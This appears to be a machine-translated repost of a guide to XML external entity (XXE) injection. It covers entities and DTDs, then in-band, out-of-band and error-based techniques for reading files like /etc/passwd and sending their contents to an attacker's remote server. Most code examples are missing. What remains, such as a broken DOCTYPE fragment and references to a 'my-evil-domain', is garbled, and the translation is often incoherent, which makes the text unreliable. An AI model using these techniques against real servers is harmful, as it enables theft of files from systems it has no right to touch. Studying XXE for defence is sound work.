XXe Attack Guide

Now many different client technologies, such as web-side, mobile, cloud, and so on, use XML to send messages to business applications. In order for the application to use these custom XML messages, the application must parse the XML document and check that the format is correct.

This article describes the XML external entity (XXE) injection attack and its fundamentals to better understand how and how to attack.

Now that we're going to talk about XXe injection, first we should understand what the external entity means and what it does.

An external entity is data that an XML processor must parse. It is useful for creating shared public references between multiple documents. Any changes made to an external entity are automatically updated in the document that contains the references to it. That is, XML uses external entities to automatically extract information or "content" into the body of an XML document.

To do this, we need to declare an external entity inside the XML document. We can internally determine its value (internal subset):

or from an external source: (External subset):

Notice that the system identifier is not. The identifier means that the entity will get the content from an external source, in this case the content is a page under "site.com".

In order to declare these entities, we need to do so in the document type definition (DTD). A DTD is a set of token declarations that define the document type of XML. It defines the legal structure blocks of the XML document and the document structure with a list of legitimate elements and attributes. A DTD can be declared inside an XML document or as an external reference-using the system identifier to point to another set of claims in a resolvable location.

Let's look at an example of a DTD, an entity that has a system identifier inside the DTD:

Finally, the most important-parameter entity.

An entity of this type is declared with a "%" character (or a hexadecimal-encoded%) and is used to replace text or other content in the DTD only after it has been parsed and validated:

XXe Attack Overview and its technology

An XML external entity (XXE) attack is one of many injection-based attacks that can occur when an attacker sends an external entity in an XML message to an application and parses it using an XML parser.

This vulnerability has many different types and behaviors because it may occur in different types of technology-because of the different types of XML parsers. In this case, happily, each parser has different functions and "characteristics".

Before we get started, let's take a look at the most common types of XXe vulnerabilities that may be faced-understanding these types of vulnerabilities will help us debug the attack and create the final correct POC: the underlying XXE injection-the external entity injects the local DTD. The XXe injection-xml parser based on the blinds does not display any errors in the response. Error-based XXe injection-after successful parsing, the XML parser always displays the same response. (That is, "your message has been received"), so we may want the parser to "print" The contents of the file into an error response.

Following the previous overview, we can reference data for external entities by using the system identifier. So now we can introduce the first technique of XXe injection, which injects an external entity into an XML document that contains a system identifier that references a local file path (such as/ETC/PASSWD):

Now let's make a more complex and more serious attack: If the application server does not respond as part of the common functionality. (Remember the error-based XXe you just mentioned.) If we want to read data from an external source with XML special characters in it. If the parsing failed during parsing.

At this point we can load a secondary external dtd-that references our remote server and try to get content from its URL this can be a set of characters, or the following example dump file, and most importantly it does not even go through the XML Schema validation process, because it is sent before the parser even obtains remote content.

For example, a remote DTD file-contains a parameter entity with a system identifier and a "file" handler. Note that the parameter entity "file" is also connected to the URL within the entity "send":

After parsing the DTD, we get the following entities:

Eventually, the server attempts to send the content specified by the parameter "C" to the contents of the file, to the url-we have defined, we record the content, and by doing so, the contents of the file are dumped:

Step A:

Step b:-The remote DTD is being parsed. We are stealing the contents of the file ...

Step c:

We succeeded in obtaining the contents of the document.

A few things to remember with this technique: the character "#" in the contents of the file will cause the URL to be truncated. If we use "or" to define the parameter entity, the content may be interrupted.

It depends on which one we use (so be sure to use both test scenarios in the event of an error).

"Original link: https://appsec-labs.com/portal/xxe-attacking-guide/This article by the Security Pulse Editor W2n1ck translation, reprint please indicate" turn from the safety pulse ", and attach the link. " Error-based XXe injection

Sometimes, when the parsing process succeeds, when we get a generic response from the server, we may want the server to return a verbose error-so we can use the same technology as the remote DTD, but there will be intentional errors such as:

The parser will attempt to parse the DTD and access the path given in the sending entity, but cannot reach the my-evil-domain. $ $ ", we will cause the following error:

Then we can debug our own payload based on the information. # Safety Pulse https://www.secpulse.com/archives/58915.html

Note that any error that the server responds to shows which line causes parsing errors and syntax errors, and sometimes we may use this information to debug our own payload, using "\ n". For example:

<. DOCTYPE author[\ n
<. ENTITY percent Intentate_error_here "test" >]> \ n

The two additional "\ n" containing payload will have an error on line 2nd after the first line "\ n", while the rest of the XML content will be displayed on line 3rd.

In short, XXe is a very powerful attack that allows us to manipulate the wrong XML parsers and use them. Please note that there are more techniques and attack exploits that can be done through XXe injection. As mentioned earlier, each parser has different capabilities, so we can propose different vulnerabilities:

This table is provided by researcher Timothy Morgan-these protocols can be used to upload files (jar://. ), in older versions of Java, allows arbitrary data to be connected over a TCP connection (gopher://. ), read the PHP source code to see how PHP is handled.

Try downloading our demo lab yourself and download it here. The demo contains a. NET XML parser with an XML payload and the required remote DTD file.

For more information on how to prevent XXe attacks-click here

Safety Pulse History XXe article:

1. Content-type XXe attack with JSON node playing

2. Unknown attack to know and defend against--xxe loopholes

3. When the OPENNMS XXe vulnerability encounters the default password (cve-2015-0975)

4.Oracle database XXe Injection Vulnerability Analysis (cve-2014-6577)

"Original link: https://appsec-labs.com/portal/xxe-attacking-guide/this article by